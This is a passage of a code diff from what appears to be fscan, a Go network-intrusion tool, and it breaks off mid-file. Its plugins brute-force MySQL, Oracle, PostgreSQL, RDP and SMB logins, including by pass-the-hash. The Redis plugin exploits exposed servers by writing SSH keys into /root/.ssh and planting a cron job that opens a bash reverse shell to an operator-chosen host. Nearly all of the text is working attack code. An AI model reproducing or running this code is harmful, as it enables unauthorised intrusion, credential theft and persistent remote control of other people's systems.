for _, pass := range common.Passwords {
@@ -24,7 +27,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -36,16 +39,16 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
+57
View File
@@ -0,0 +1,57 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
+52 -17
View File
@@ -3,7 +3,7 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"sort"
"strconv"
"sync"
"time"
@@ -17,25 +17,31 @@ type Addr struct {
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
return AliveAddress
}
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
tmp := make(map[int]struct{})
var tmpPorts []int
temp := map[int]struct{}{}
for _, port := range probePorts {
for _, noport := range noPorts {
if port != noport {
if _, ok := tmp[port]; !ok {
tmp[port] = struct{}{}
tmpPorts = append(tmpPorts, port)
}
}
}
temp[port] = struct{}{}
}
probePorts = tmpPorts
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
workers := common.Threads
Addrs := make(chan Addr)
results := make(chan string)
Addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
//接收结果
@@ -71,13 +77,42 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
con.Close()
defer conn.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
respondingHosts <- address
wg.Add(1)
respondingHosts <- address
}
}
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port, _ := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)
AliveAddress = append(AliveAddress, address)
}
}
return
}
+6 -3
View File
@@ -10,6 +10,9 @@ import (
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
@@ -24,7 +27,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -39,11 +42,11 @@ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, e
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
+192
View File
@@ -0,0 +1,192 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
)
type Brutelist struct {
user string
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
var wg sync.WaitGroup
var signal bool
var num = 0
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
var mutex sync.Mutex
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
for i := 0; i < common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
}
for _, user := range common.Userdict["rdp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal == true {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag == true && err == nil {
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
common.LogSuccess(result)
*signal = true
return
} else {
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
common.LogError(errlog)
}
}
}
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num = *num + 1
mutex.Unlock()
}
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
g := NewClient(target, glog.NONE)
err := g.Login(domain, user, password, timeout)
if err == nil {
return true, nil
}
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}
+83 -43
View File
@@ -4,18 +4,27 @@ import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"net"
"os"
"strings"
"time"
)
var (
dbfilename string
dir string
)
func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
if common.IsBrute {
return
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
@@ -28,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -39,11 +48,15 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
@@ -53,9 +66,16 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
return flag, err
}
if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result)
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
@@ -64,11 +84,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
@@ -78,25 +102,31 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
return flag, err
}
if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result)
flag = true
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
common.LogSuccess(result)
return flag, err
} else {
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
dbfilename, dir, err := getconfig(conn)
if err != nil {
return err
if common.Noredistest {
return nil
}
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
@@ -105,16 +135,16 @@ func Expoilt(realhost string, conn net.Conn) error {
return err
}
if writeok {
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
}
}
}
if flagCron == true {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
@@ -122,10 +152,10 @@ func Expoilt(realhost string, conn net.Conn) error {
return err
}
if writeok {
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("[-] Redis:", realhost, "cron write failed", text)
fmt.Println("[-] Redis ", realhost, "cron write failed", text)
}
}
}
@@ -135,7 +165,7 @@ func Expoilt(realhost string, conn net.Conn) error {
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
@@ -144,7 +174,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
@@ -171,7 +201,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
@@ -194,7 +224,8 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
// 尝试写入Ubuntu的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil {
return flag, text, err
}
@@ -202,8 +233,19 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if err != nil {
return flag, text, err
}
if !strings.Contains(text, "OK") {
// 如果没有返回"OK",可能是CentOS,尝试CentOS的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
@@ -212,7 +254,11 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "host error", err
}
scanIp, scanPort := target[0], target[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
@@ -222,7 +268,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
@@ -259,24 +305,18 @@ func Readfile(filename string) (string, error) {
return "", err
}
func readreply(conn net.Conn) (result string, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < 4096 {
break
}
func readreply(conn net.Conn) (string, error) {
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
err = nil
}
return result, err
return string(bytes), err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
@@ -287,7 +327,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
@@ -302,7 +342,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
@@ -310,13 +350,13 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
if err != nil {
return
}
text1 := strings.Split(text, "\n")
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
@@ -324,7 +364,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
if err != nil {
return
}
text1 = strings.Split(text, "\n")
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
@@ -338,7 +378,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil {
return
}
dbfilename, err = readreply(conn)
_, err = readreply(conn)
if err != nil {
return
}
@@ -346,7 +386,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil {
return
}
dir, err = readreply(conn)
_, err = readreply(conn)
if err != nil {
return
}
+72 -53
View File
@@ -1,9 +1,8 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
@@ -13,24 +12,45 @@ import (
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
WebScan.Inithttp(common.Pocinfo)
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
fmt.Println("len(hosts)==0", err)
return
}
lib.Inithttp()
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
if common.IsPing == false {
Hosts = ICMPRun(Hosts, common.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
if common.Scantype == "icmp" {
common.LogWG.Wait()
return
}
AlivePorts := PortScan(Hosts, info.Ports, info.Timeout)
fmt.Println("alive ports len is:", len(AlivePorts))
if info.Scantype == "portscan" {
return
var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if common.Scantype == "hostname" {
common.Ports = "139"
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
fmt.Println("[*] alive ports len is:", len(AlivePorts))
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
if len(common.HostPort) > 0 {
AlivePorts = append(AlivePorts, common.HostPort...)
AlivePorts = common.RemoveDuplicate(AlivePorts)
common.HostPort = nil
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
@@ -38,69 +58,68 @@ func Scan(info common.HostInfo) {
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
AddScan("1000003", info, ch, &wg) //webtitle
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg) //findnet
if common.IsWmi {
AddScan("1000005", info, &ch, &wg) //wmiexec
}
case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg) //ms17010
//AddScan(info.Ports, info, ch, &wg) //smb
//AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(web, info, &ch, &wg) //http
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg) //plugins scan
default:
AddScan(web, info, &ch, &wg) //webtitle
}
} else {
port, _ := common.PORTList[info.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
scantype := strconv.Itoa(common.PORTList[common.Scantype])
AddScan(scantype, info, &ch, &wg)
}
}
}
if common.URL != "" {
info.Url = common.URL
AddScan("1000003", info, ch, &wg)
}
if len(common.Urls) > 0 {
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
for _, url := range common.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(PluginList, scantype, &info)
wg.Done()
ScanFunc(&scantype, &info)
Mutex.Lock()
common.End += 1
Mutex.Unlock()
<-ch
wg.Done()
<-*ch
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ")
fmt.Println(err.Error())
return result, nil
}
in := make([]reflect.Value, len(infos))
for k, info := range infos {
in[k] = reflect.ValueOf(info)
}
result = f.Call(in)
return result, nil
func ScanFunc(name *string, info *common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err)
}
}()
f := reflect.ValueOf(PluginList[*name])
in := []reflect.Value{reflect.ValueOf(info)}
f.Call(in)
}
func IsContain(items []string, item string) bool {
+13 -9
View File
@@ -1,6 +1,7 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
@@ -9,6 +10,9 @@ import (
)
func SmbScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
@@ -16,10 +20,10 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if info.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
@@ -31,7 +35,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
@@ -40,7 +44,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
@@ -48,7 +52,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
Port: 445,
User: Username,
Password: Password,
Domain: Domain,
Domain: common.Domain,
Workstation: "",
}
@@ -66,12 +70,12 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, info.Domain, signal)
flag, err = SmblConn(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second):
return false, err
case <-time.After(time.Duration(common.Timeout) * time.Second):
return false, errors.New("time out")
}
}
+218
View File
@@ -0,0 +1,218 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
hasprint := false
starttime := time.Now().Unix()
if len(common.HashBytes) > 0 {
for _, user := range common.Userdict["smb"] {
for _, hash := range common.HashBytes {
pass := ""
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
